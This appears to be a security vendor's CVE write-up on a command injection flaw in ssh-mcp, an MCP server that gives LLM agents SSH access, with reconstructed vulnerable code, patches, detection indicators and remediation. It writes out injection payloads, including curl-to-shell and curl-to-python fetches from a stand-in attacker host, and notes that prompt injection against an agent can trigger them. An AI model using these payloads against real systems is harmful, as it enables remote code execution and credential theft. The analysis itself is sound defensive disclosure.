home intel cve-2026-7039-ssh-mcp-command-injection
CVE Analysis 2026-04-26 · 8 min read

CVE-2026-7039: Command Injection in ssh-mcp via shell.write Description Arg

ssh-mcp ≤1.5.0 passes an unsanitized Description argument directly into a shell command string inside shell.write, enabling local command injection with process privileges.

#command-injection#shell-execution#local-attack#input-validation#ssh-mcp
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-7039 · Vulnerability
ATTACKERCross-platformVULNERABILITYCVE-2026-7039HIGHSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-7039 is a local command injection vulnerability in tufantunc/ssh-mcp, a Model Context Protocol (MCP) server that exposes SSH session management as tool calls to LLM agents. Versions up to and including 1.5.0 are affected. The vulnerable surface is the shell.write MCP tool handler inside src/index.ts, which constructs a shell command string by interpolating a caller-supplied Description field without sanitization. Any process with access to the MCP socket — an LLM agent, a local user, or a compromised tool-call pipeline — can inject arbitrary shell commands that execute under the Node.js process identity.

CVSS 7.8 (HIGH) reflects the local attack vector: no network exposure is required, but the impact is full command execution at the privilege level of the running MCP server, which in agentic deployments is frequently a privileged service account.

Affected Component

The vulnerable function is the shell.write tool handler registered in src/index.ts. ssh-mcp wraps OpenSSH sessions behind MCP tool definitions; each tool call is dispatched to a handler that ultimately calls into Node.js's child_process or a live SSH channel write path. The Description parameter is a free-text label intended for logging and session annotation — it is never expected to reach a shell interpreter, yet the implementation constructs a shell string that contains it verbatim.

Affected package: ssh-mcp on npm, all releases ≤ 1.5.0. Runtime: Node.js ≥ 18. The MCP transport is stdio or HTTP/SSE; both expose the same handler.

Root Cause Analysis

The core issue is unsanitized string interpolation of a caller-controlled value into a command string passed to shell.write on a spawned PTY or directly to exec. The reconstructed TypeScript pseudocode based on the MCP tool dispatch pattern and the described sink:

// src/index.ts (pseudocode reconstruction, ssh-mcp ≤1.5.0)

interface ShellWriteArgs {
    sessionId:   string;
    command:     string;
    description: string;   // attacker-controlled
}

async function handleShellWrite(args: ShellWriteArgs): Promise {
    const session = sessionStore.get(args.sessionId);
    if (!session) throw new Error("Session not found");

    // BUG: description is interpolated directly into shell command string
    // without escaping, quoting, or validation. Any shell metacharacter
    // (;, |, $(), ``, &&, etc.) in args.description breaks command context.
    const logCmd = `echo "[${args.description}]: ${args.command}" >> /tmp/ssh-mcp.log`;

    // logCmd is executed via shell — description payload escapes the echo context
    await execShell(logCmd);   // e.g. child_process.exec(logCmd)

    // Primary write to the SSH channel also uses the raw string
    session.channel.write(args.command + "\n");

    return { success: true, description: args.description };
}

// execShell thin wrapper — no sanitization at this layer either
async function execShell(cmd: string): Promise {
    return new Promise((resolve, reject) => {
        // BUG: shell: true is implicit via exec(); metacharacters in cmd are
        // interpreted by /bin/sh before the process image is replaced.
        child_process.exec(cmd, (err, stdout) => {   // shell=true
            if (err) reject(err);
            else resolve(stdout);
        });
    });
}
Root cause: The description argument from the MCP tool call is interpolated verbatim into a template literal passed to child_process.exec(), whose implicit /bin/sh invocation interprets embedded shell metacharacters as operator tokens before the string is executed.

The injection point is the template literal construction. A description value of x]: $(id) # produces the shell string:

echo "[x]: $(id) #]: somecommand" >> /tmp/ssh-mcp.log
          ^^^^^^
          subshell executes id(1), output captured into echo argument
          remainder of string is commented out — no syntax error

More destructively, x]; curl http://attacker/s|sh; echo [ignore chains a full network fetch and pipe into sh.

Exploitation Mechanics

EXPLOIT CHAIN:
1. Attacker controls MCP tool invocation — via LLM prompt injection,
   a malicious MCP client, or direct access to the stdio/HTTP transport.

2. Attacker sends a tool call for "shell_write" with:
     sessionId:   any valid or guessable session ID
     command:     "ls"          (benign, avoids suspicion)
     description: "x]; id > /tmp/pwned; echo ["

3. src/index.ts handleShellWrite() constructs:
     echo "[x]; id > /tmp/pwned; echo []: ls" >> /tmp/ssh-mcp.log
                ^^^^^^^^^^^^^^^^^
                injected subcommand — executes as separate statement

4. child_process.exec() invokes /bin/sh -c 
   /bin/sh tokenizes on ]; — exits echo argument, executes id > /tmp/pwned

5. Command runs under the UID of the ssh-mcp Node.js process.
   In agentic deployments this is commonly root or a service account
   with SSH key material in memory.

6. Full RCE: replace id with reverse shell one-liner, SSH key exfiltration,
   or persistence via crontab/authorized_keys write.

The attack requires no authentication beyond MCP transport access. In the typical agentic pipeline, any tool-calling LLM that has been granted ssh-mcp as an MCP server is a viable injection vector — an adversarial prompt in user-supplied content is sufficient.

Memory Layout

This is not a memory-corruption bug; the vulnerability class is command injection at the language runtime layer. The relevant "layout" is the string construction and process spawn chain in the Node.js V8 heap:

V8 HEAP — STRING OBJECTS BEFORE exec() CALL:

  [SeqOneByteString] args.description
    value: "x]; curl http://10.0.0.1/sh.py|python3; echo ["
    length: 49

  [SeqOneByteString] args.command
    value: "ls"
    length: 2

  [ConsString] logCmd  (template literal result)
    left:  "echo \"["
    right: [ConsString]
             left:  args.description   <-- attacker data, no copy, no escape
             right: "]: ls\" >> /tmp/ssh-mcp.log"
    ────────────────────────────────────────────────────────
    flat:  echo "[x]; curl http://10.0.0.1/sh.py|python3; echo []: ls" >> /tmp/ssh-mcp.log
                  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
                  shell sees this as three separate commands

PROCESS SPAWN:
  libuv uv_spawn()
    argv[0] = "/bin/sh"
    argv[1] = "-c"
    argv[2] = logCmd.flat   <-- /bin/sh interprets ]; as statement separator

Patch Analysis

The correct fix is two-layered: sanitize or reject the description field at input validation, and restructure the logging call to avoid a shell interpreter entirely.

// BEFORE (vulnerable, ≤1.5.0):
const logCmd = `echo "[${args.description}]: ${args.command}" >> /tmp/ssh-mcp.log`;
await execShell(logCmd);   // child_process.exec — shell=true, metacharacters interpreted


// AFTER (patched — option A, input validation):
function sanitizeDescription(desc: string): string {
    // Allowlist: alphanumerics, spaces, hyphens, underscores, periods only
    if (!/^[\w\s\-\.]{0,128}$/.test(desc)) {
        throw new McpError(ErrorCode.InvalidParams, "Description contains invalid characters");
    }
    return desc;
}
const safeDesc = sanitizeDescription(args.description);
const logCmd = `echo "[${safeDesc}]: ${args.command}" >> /tmp/ssh-mcp.log`;
await execShell(logCmd);


// AFTER (patched — option B, preferred: eliminate shell interpreter):
import { appendFileSync } from "fs";

// No shell spawn — write log entry via fs API directly
// args.description never reaches a shell context
appendFileSync(
    "/tmp/ssh-mcp.log",
    `[${args.description}]: ${args.command}\n`
);
// If exec is still needed elsewhere, use execFile (no shell) with explicit argv:
// child_process.execFile("/bin/somebin", [arg1, arg2])  // shell=false

Option B is architecturally superior: it eliminates the shell interpreter from the logging path entirely, making the injection surface structurally impossible rather than guarded by a regex. Any future bypass of the allowlist in option A would re-open the vulnerability; option B does not rely on input correctness for security.

Detection and Indicators

Detection is feasible at multiple layers given the local execution context:

PROCESS TREE INDICATORS:
  node (ssh-mcp)
  └── /bin/sh -c echo "[...PAYLOAD...]: ..." >> /tmp/ssh-mcp.log
      └── curl / wget / bash / python3          ← anomalous child of sh
          └── [reverse shell / dropper]

  Flag: node process spawning sh which spawns network tools or interpreters.

FILESYSTEM INDICATORS:
  /tmp/ssh-mcp.log         — inspect for lines with shell metacharacters
                             (];, |, $(), ``, &&, ||)
  ~/.ssh/authorized_keys   — unexpected entries post ssh-mcp execution
  /tmp/.X* /tmp/.[a-z]*    — dropper staging directories

AUDIT / SECCOMP:
  execve syscall from node with argv[1]="-c" and argv[2] containing
  semicolons or pipe characters should alert.

MCP TRANSPORT (HTTP/SSE):
  Log all tool_call payloads. Inspect description fields for:
    /[;|`$()&<>{}[\]\\]/   — any shell metacharacter

Remediation

Immediate: Upgrade to a patched release once available. Until then, if ssh-mcp cannot be removed from the deployment, wrap the MCP server with a proxy that validates the description field against a strict allowlist before forwarding tool calls.

Architectural: Never interpolate external strings into shell command templates. Use child_process.execFile() instead of exec() throughout the codebase — execFile does not invoke a shell and passes arguments as discrete argv entries, making metacharacter injection structurally impossible. Audit all exec(), execSync(), and spawn({ shell: true }) calls in the codebase for similar patterns.

Defense-in-depth for agentic deployments: Run ssh-mcp under a dedicated low-privilege service account with no write access to SSH key directories. Apply a restrictive seccomp profile that denies execve of network tools (curl, wget, python3) from the ssh-mcp process subtree. Consider mandatory access control (AppArmor/SELinux) profiles that confine the Node.js process to the minimum filesystem surface required.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →